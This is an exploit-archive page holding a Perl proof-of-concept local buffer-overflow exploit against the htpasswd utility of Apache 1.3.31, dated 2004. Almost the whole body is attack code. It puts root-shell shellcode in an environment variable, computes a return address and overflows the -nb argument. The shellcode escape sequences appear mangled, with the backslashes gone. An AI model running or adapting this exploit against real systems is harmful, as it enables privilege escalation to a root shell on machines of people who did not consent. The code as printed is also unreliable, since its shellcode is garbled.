htpasswd Apache 1.3.31 Local Exploit

[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]

# Title : htpasswd Apache 1.3.31 Local Exploit
# Published : 2004-09-16
# Author : Luiz Fernando Camargo
# Previous Title : DelphiTurk CodeBank 3.1 Local Username and Password Disclosure
# Next Title : Setuid perl PerlIO_Debug() root owned file creation

#!/usr/bin/perl 
# Proof Of Concept exploit for htpasswd of Apache. 
# Read the advisory for more information. 
# - Luiz Fernando Camargo 
# - foxtrot_at_flowsecurity.org 
$shellcode = "x31xdbx6ax17x58xcdx80x31xc0x50x68x2fx2fx73x68". 
"x68x2fx62x69x6ex89xe3x50x53x89xe1x99xb0x0bxcdx80"; 


$target = "/usr/local/apache/bin/htpasswd"; 
$retaddr = 0xbffffffa - length($shellcode) - length($target); 


print "using retaddr = 0x", sprintf('%lx',($retaddr)), "rn"; 


local($ENV{'XXX'}) = $shellcode; 
$newret = pack('l', $retaddr); 
$buffer = "A" x 272; 
$buffer .= $newret x 4; 
$buffer .= " "; 
$buffer .= "B" x 290; 


exec("$target -nb $buffer"); 

# www.Syue.com [2004-09-16]